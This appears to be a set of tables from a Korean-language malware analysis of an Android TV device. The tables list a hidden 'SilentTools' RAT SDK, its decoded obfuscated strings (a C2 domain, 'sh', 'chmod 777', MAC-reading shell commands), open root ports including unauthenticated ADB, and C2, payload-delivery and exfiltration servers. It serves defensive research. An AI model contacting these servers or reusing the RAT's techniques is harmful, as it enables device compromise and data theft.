| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| 난독화된 호출 | 결과 | 기능 |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | C2 도메인 |
m36g({7,-68}, {116,-44,...}) | sh | Runtime.exec()용 셸 바이너리 |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | 셸 명령어 |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | 다운로드용 임시 파일 접미사 |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | 기본 프로토콜 |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | SSL 오류 시 대체 프로토콜 |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | TLS 프로토콜 |
m36g({-15}, {-112,...}) | a | 사용자 정의 헤더 이름 → 값 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | 셸 대체: 인터페이스 이름 읽기 |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | 셸 대체: MAC 읽기 (접두사) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | 셸 대체: MAC 읽기 (접미사) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Android 가짜 MAC 센티넬 (API 23+) |
| 포트 | UID | 설명 |
|---|
| 65528 | root (0) | su 데몬 |
| 5555 | root (0) | 인증 없는 ADB |
| 7889/7890 | system (1000) | 알 수 없는 서비스 |
| 10012/10013 | system (1000) | 팩토리 디버그? |
| 서버 | 엔드포인트 | 기능 |
|---|
store-api.aodintech.com | POST /sign/app/list | 앱 배포 |
sta.smartinnovate.net | GET /*.jar | 페이로드 배포 |
cdn-store.aodintech.com | GET /*.bpp | APK 다운로드 |
event-api.aodintech.com | POST /report | 텔레메트리 |
api.pixelpioneerss.com | POST /(random) | SilentSDK RAT C2 |
bur.thedynamicleap.com | `POST (GZIP+AES)`` | SilentSDK 텔레메트리 유출 |
pb-api.aodintech.com | GET /api/collections/... | 광고 구성 |
ota.triplesai.com:8080 | POST /V1/Ota/Check | 펌웨어 업데이트 |
api.ipdatacloud.com | GET /v2/query | IP 지리적 위치 |
euads-o.api.leiniao.com | — | 보조 광고 서버 |
connect.rom.miui.com | — | Xiaomi 텔레메트리 |
| 실제 값 |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| 빌드 날짜 | — | 2025년 4월 22일 화요일 15:20 CST |
| C2 서버 응답 | 5df097591d694... | — |
| 우리가 복호화한 APK | 5df097591d694... | e5a193c31526a... |
| 외부 분석 | — | e5a193c31526a... |